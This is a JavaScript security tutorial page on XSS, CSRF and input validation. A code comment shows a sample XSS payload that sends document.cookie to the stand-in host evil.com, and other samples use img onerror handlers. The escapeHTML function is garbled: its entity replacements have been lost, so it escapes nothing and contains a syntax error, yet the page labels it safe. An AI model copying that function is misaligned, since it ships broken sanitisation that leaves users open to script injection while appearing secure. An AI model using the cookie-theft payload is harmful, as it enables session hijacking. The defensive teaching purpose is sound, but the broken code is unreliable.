Security in JavaScript
XSS, CSRF, CSP, input validation, safe dependencies — the security fundamentals every JavaScript developer must know.
Testing an innerHTML sink with <script>alert(1)</script> proves nothing. Browsers never run <script> elements inserted through innerHTML, so the test passes and the page looks safe. Attackers use event-handler attributes instead, such as <img src="x" onerror="…">, and those do run. The sink is just as dangerous as it looked; the test simply couldn't see it.
// <div id="comments"></div>
const commentDiv = document.getElementById("comments");
// the developer's XSS test -- nothing happens, so it looks safe:
commentDiv.innerHTML = '<script>console.log("script ran")<\/script>';
// what an attacker actually sends:
commentDiv.innerHTML = '<img src="x" onerror="console.log(\'attacker code ran\')">';
// attacker code ran ("script ran" never appears)The attacks and how to prevent them
XSS — Cross-Site Scripting
XSS is when an attacker injects malicious JavaScript into your page via user-controlled content.
If your page displays user input as HTML, that content can include markup such as <img src=x onerror=…>
whose event handlers run in your users' browsers — stealing cookies, session tokens, and personal data.
// ✗ DANGEROUS — innerHTML with user data:
const comment = userInput; // e.g. '<script>fetch("evil.com?c="+document.cookie)</script>'
commentDiv.innerHTML = comment; // ← markup is parsed: an <img onerror=…> payload runs (an inserted <script> doesn't)
// ✓ SAFE — textContent always treats content as plain text:
commentDiv.textContent = comment; // script tag is shown as text, never executed
// ✓ SAFE — escape HTML before using innerHTML:
function escapeHTML(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
commentDiv.innerHTML = escapeHTML(comment); // safe
// ✓ USE a sanitisation library for rich text (user content with allowed HTML):
// import DOMPurify from "dompurify";
// commentDiv.innerHTML = DOMPurify.sanitize(richTextInput);
// DOMPurify strips dangerous tags/attributes while allowing safe HTMLSo don't decide whether an innerHTML assignment is safe by testing it with <script>. Treat every innerHTML with user data as exploitable, and use textContent (or escapeHTML(), or DOMPurify for rich text) as shown above. With textContent, the same payload becomes harmless visible text:
const commentDiv = document.getElementById("comments");
const comment = '<img src="x" onerror="console.log(\'attacker code ran\')">';
commentDiv.textContent = comment; // shown as text, never parsed as HTML
console.log(commentDiv.innerHTML);
// <img src="x" onerror="console.log('attacker code ran')">CSRF — Cross-Site Request Forgery
// Attack: a malicious site tricks your logged-in user into making a request
// to your site (e.g. "change email" or "transfer money")
// Prevention 1: SameSite cookies (set on the server):
// Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
// SameSite=Strict → cookie not sent on cross-site requests
// Prevention 2: CSRF tokens (for forms):
// Server generates a random token, embeds in form, validates on submit:
// <input type="hidden" name="csrf_token" value="a8f3k...">
// Prevention 3: Check the Origin/Referer header on sensitive requests
// (backend responsibility — but good to understand)Input validation — always, on every field
// Never trust what arrives — validate shape, type, and range:
function validateUserInput(data) {
const errors = [];
if (!data.email?.includes("@")) errors.push("Invalid email");
if (typeof data.age !== "number") errors.push("Age must be a number");
if (data.age < 0 || data.age > 150) errors.push("Age out of range");
if (data.name?.length > 100) errors.push("Name too long");
if (!["user","admin"].includes(data.role)) errors.push("Invalid role");
return errors;
}
// Note: client-side validation is for UX only.
// Always validate AGAIN on the server — a user can bypass client validation.Official Sources
- OWASP Top 10
- MDN Web Docs — Web security
- MDN Web Docs — Content Security Policy
- MDN Web Docs — HTTP cookies
- DOMPurify — XSS sanitiser
The Codex links only to official documentation and the ECMAScript specification. No third-party tutorials.